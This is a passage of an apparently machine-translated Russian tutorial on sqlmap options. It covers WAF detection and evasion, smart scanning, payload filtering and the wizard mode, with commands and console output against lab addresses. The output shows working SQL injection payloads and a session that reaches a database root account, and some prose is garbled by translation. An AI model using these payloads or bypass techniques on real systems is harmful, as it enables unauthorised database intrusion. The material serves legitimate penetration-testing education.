[19:16:05] [WARNING] sqlmap requires 'websocket-client' third-party library if you plan to attack a web application using WebSocket. Download from https://pypi.python.org/pypi/websocket-client/
[*] shutting down at 19:16:05

Как видите, мне не хватает в основном сторонней библиотеки для подключения к базе данных.

7. Отключите цветной вывод

Параметры: –disable-coloring

8. Укажите страницу, используя результаты Google Dork

Параметры: –gpage

При использовании параметра «-g» для инъекционного тестирования по умолчанию выбираются первые 100 результатов Google Dork. В сочетании с этим параметром вы можете указать страницу, на которой будут использоваться результаты Google Dork.

9. Загрязнение с использованием параметров HTTP

Параметры: –hpp

Загрязнение параметров HTTP — это метод обхода WAF/IPS/IDS.,Подробности см.здесь。Эта технология направлена ​​наASP/IISиASP.NET/IISПлатформы особенно эффективны。нравиться果怀疑目标受WAF/IPS/IDSЗащищать,Вы можете попробовать использовать этот параметр для обхода.

10. Тщательное обнаружение WAF/IPS/IDS

Параметры: --identify-waf

Sqlmap может идентифицировать WAF/IPS/IDS, чтобы пользователи могли выполнять целевые операции (нравиться: добавить «--tamper»). В настоящее время Sqlmap поддерживает обнаружение более 30 различных WAF/IPS/IDS, таких как Airlock и Barracuda. установочного каталога.

Следующий пример предназначен для MySQL, защищенного ModSecurity WAF:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server (United Security Providers)'[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application Firewall (BinarySEC)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application Firewall (art of defence Inc.)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway (Cisco Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5 Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions (Akamai Technologies)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application Firewall (Incapsula/Imperva)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application Firewall (CloudFlare)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application Firewall (Barracuda Networks)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application Security (IBM)'
[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application Firewall (Jiasule)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application Firewall (AQTRONIX)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source Web Application Firewall (Trustwave)'
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web Application Firewall (Trustwave)'. Please consider usage of tamper scripts (option '--tamper')

Параметры: --skip-waf

По умолчанию Sqlmap отправит поддельную полезную нагрузку SQL-инъекции, чтобы проверить, имеет ли цель меры защиты. Если возникнут какие-либо проблемы, пользователи могут отключить эту технологию, используя параметр «--skip-waf».

11. Имитируйте смартфоны

Параметры: –mobile

Некоторые сайты по-разному возвращаются для смартфонов и настольных компьютеров. Если вам нужно протестировать страницу смартфона на таком веб-сайте, вы можете настроить пользовательский агент для смартфона.,или проще,Используйте этот параметр,Во время выполнения Sqlmap спросит, какой популярный мобильный телефон следует имитировать.,нравиться:

Язык кода:javascript
копировать
  $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile
[...]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S
> 1
[...]
12. Автономный режим (использует только данные сеанса)

Параметры: –оффлайн

Добавив этот параметр, Sqlmap будет использовать для тестирования только ранее сохраненные данные сеанса, не отправляя никаких пакетов в цель.

13. Отображение авторитета страницы в Google Dork

Параметры: --page-rank

При использовании с параметром «-g» Sqlmap будет инициировать больше запросов к Google и отображать авторитетность страницы.

14. Безопасно удалите весь контент из выходного каталога.

Параметры: --purge-output

Когда пользователи хотят безопасноудалить输出目录中из所有内容时Используйте этот параметр。так называемая безопасностьудалить,не просто удалить,Вместо этого перезапишите исходные данные случайными данными перед их удалением.,Даже имена файлов и каталогов переименовываются, чтобы перезаписать старые имена.,Выполняйте удаление только после завершения всех работ по покрытию.,В выходном каталоге ничего не будет. нравиться:

Язык кода:javascript
копировать
  python sqlmap.py --purge-output -v 3

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [*] starting at 19:51:36
[19:51:36] [DEBUG] cleaning up configuration parameters
[19:51:36] [INFO] purging content of directory '/home/werner/.sqlmap/output'...
[19:51:36] [DEBUG] changing file attributes
[19:51:36] [DEBUG] writing random data to files
[19:51:36] [DEBUG] truncating files
[19:51:36] [DEBUG] renaming filenames to random values
[19:51:36] [DEBUG] renaming directory names to random values
[19:51:36] [DEBUG] deleting the whole directory tree
[*] shutting down at 19:51:36
15. Быстрое сканирование

Параметры: –умный

Когда нужно протестировать большое количество URL-адресов (нравиться: "-m"),Цель состоит в том, чтобы как можно скорее найти некоторые точки внедрения, и не имеет значения, если вы что-то пропустите. Вы можете использовать «--smart» для выполнения прямого эвристического сканирования. На данный момент дальнейшему тестированию будут подвергаться только те параметры, которые заставляют систему управления базами данных сообщать об ошибке.,Все остальные URL-адреса пропускаются. нравиться:

Язык кода:javascript
копировать
  $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart
[...]
[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic
[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'ca'
[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic
[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user' might not be injectable
[xx:xx:14] [INFO] skipping GET parameter 'user'
[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic
[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic
[xx:xx:14] [INFO] GET parameter 'id' is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')
[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[xx:xx:14] [INFO] testing 'MySQL inline queries'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[xx:xx:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[xx:xx:14] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[...]
16. Используйте или пропускайте полезную нагрузку через ключевые слова

Параметры: –test-filter

Если вы хотите использовать только полезную нагрузку, содержащую ключевое слово «ROW», вы можете использовать параметр «-test-filter=ROW». Вот пример, ориентированный на Mysql:

Язык кода:javascript
копировать
  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW

Часть вывода выглядит следующим образом:

Язык кода:javascript
копировать
  [xx:xx:39] [INFO] GET parameter ’id’ is dynamic
[xx:xx:39] [WARNING] reflective value(s) found and filtering out
[xx:xx:39] [INFO] heuristic (basic) test shows that GET parameter ’id’ might be injectable (possible DBMS: ’MySQL’)
[xx:xx:39] [INFO] testing for SQL injection on GET parameter ’id’
[xx:xx:39] [INFO] testing ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’
[xx:xx:39] [INFO] GET parameter ’id’ is ’MySQL >= 4.1 AND error-based - WHERE or HAVING clause’ injectable GET parameter ’id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 3 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 4.1 AND error-based - WHERE or HAVING clause
Payload: id=1 AND ROW(4959,4971)>(SELECT COUNT(*),CONCAT(0x3a6d70623a,(SELECT (CASE WHEN (4959=4959) THEN 1 ELSE 0 END)),0x3a6b7a653a,FLOOR(RAND(0)*2))x FROM (SELECT 4706 UNION SELECT 3536 UNION SELECT 7442 UNION SELECT 3470)a GROUP BY x)
---

Параметры: –test-skip

Если вы не хотите использовать полезную нагрузку, содержащую ключевое слово «BENCHMARK», вы можете использовать параметр «-test-skip=BENCHMARK».

17. Интерактивная оболочка Sqlmap.

Параметры: –sqlmap-shell

Используйте этот параметр, чтобы открыть интерактивную Sqlmap. Shell,История поддержки。нравиться:

Язык кода:javascript
копировать
  werner@Yasser:~$ sqlmap --sqlmap-shell
___
__H__
___ ___[.]_____ ___ ___  {1.1.10#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
sqlmap-shell> -u "192.168.56.102"
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:22:46
[20:22:46] [INFO] testing connection to the target URL
[20:22:46] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[20:22:46] [INFO] testing if the target URL is stable
[20:22:47] [INFO] target URL is stable
[20:22:47] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')
[*] shutting down at 20:22:47
___
__H__
___ ___[.]_____ ___ ___  {1.1.10#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
sqlmap-shell> exit
18. Простое руководство для новичков

Параметры: --wizard

Sqlmap специально подготовил мастер для новичков, рабочий процесс которого вызывает как можно меньше проблем. Если после того, как пользователь введет цель, он продолжит нажимать Enter для выбора ответа по умолчанию до конца рабочего процесса, он получит правильный результат. нравиться:

Язык кода:javascript
копировать
  werner@Yasser:~$ sqlmap --wizard
___
__H__
___ ___["]_____ ___ ___  {1.1.10#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
|_|V          |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:39:41
[20:39:41] [INFO] starting wizard interface
Please enter full target URL (-u): http://192.168.56.102/login.php
POST data (--data) [Enter for None]: username=001&password=003
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1
sqlmap is running, please wait..
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
Payload: username=001%' OR NOT 2143=2143#&password=003
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (comment)
Payload: username=001%' OR SLEEP(5)#&password=003
---
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner:    '5.5.50-0ubuntu0.14.04.1'
current user:    'root@localhost'
current database:    'DSSchool'
current user is DBA:    True
[*] shutting down at 20:40:07

Подвести итог

Полностью прочитав официальное руководство по Sqlmap, я наконец-то получил более полное представление о Sqlmap. Раньше я только слышал об этом, но теперь я по-настоящему ощущаю мощь Sqlmap и еще больше восхищаюсь двумя авторами Sqlmap:

Ссылки

  1. официальный сайт sqlmap
  2. Руководство пользователя SqlMap
  3. Пакетное сканирование sqlmap, ведение журнала запросов Burpsuite
  4. How to get past the login page with Wget?
  5. Ответ: Получение данных через DNS при атаках с использованием SQL-инъекций

Заявление об авторских правах: Содержание этой статьи добровольно предоставлено пользователями Интернета, а мнения, выраженные в этой статье, представляют собой только точку зрения автора. Данный сайт лишь предоставляет услуги по хранению информации, не имеет никаких прав собственности и не несет соответствующей юридической ответственности. Если вы обнаружите на этом сайте какое-либо подозрительное нарушение авторских прав/незаконный контент, отправьте электронное письмо, чтобы сообщить. После проверки этот сайт будет немедленно удален.

Издатель: Лидер стека программистов полного стека, укажите источник для перепечатки: https://javaforall.cn/179953.html Исходная ссылка: https://javaforall.cn

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose